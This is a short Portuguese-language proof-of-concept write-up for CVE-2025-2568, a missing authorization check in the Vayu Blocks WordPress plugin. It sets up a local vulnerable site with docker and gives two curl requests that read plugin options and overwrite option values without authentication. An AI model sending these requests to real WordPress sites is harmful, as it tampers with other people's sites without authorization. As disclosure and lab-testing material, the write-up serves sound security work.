PoC CVE-2025-2568

Visão Geral

O plugin Vayu Blocks – Gutenberg Blocks para WordPress e WooCommerce é vulnerável a acesso não autorizado e modificação de dados devido à ausência de verificações de capacidade nas funções vayu_blocks_get_toggle_switch_values_callback e vayu_blocks_save_toggle_switch_callback nas versões 1.0.4 a 1.2.1. Isso possibilita que atacantes não autenticados leiam as opções do plugin e atualizem qualquer opção cujo nome de chave termine em _value.

Etapas de Exploração

Configuração (usando docker)

1. Clone o repositório e siga os passos:

   cd vuln-wordpress
   docker-compose up -d
   

2. Descompacte o Vayu-Plugin dentro da pasta wp-content/plugins.

   cd wp-content/plugins/
   unzip vayu-blocks.1.2.0.zip
   

   O plugin Vayu-blocks (versão 1.2.0) agora está instalado.

Exploração:

1. Use isto para ler as opções:

   curl http://localhost:8080/wp-json/vayu-blocks/v1/get-toggle-values/
   

2. Envie uma requisição POST como esta para modificar os valores das opções.

   curl -X POST http://localhost:8080/wp-json/vayu-blocks/v1/save-toggle-switch \
    -H "Content-Type: application/json" \
    -d '{"key":"container", "value":"new_value"}'
   

Vídeo de Exploração

wordpressexploit.webm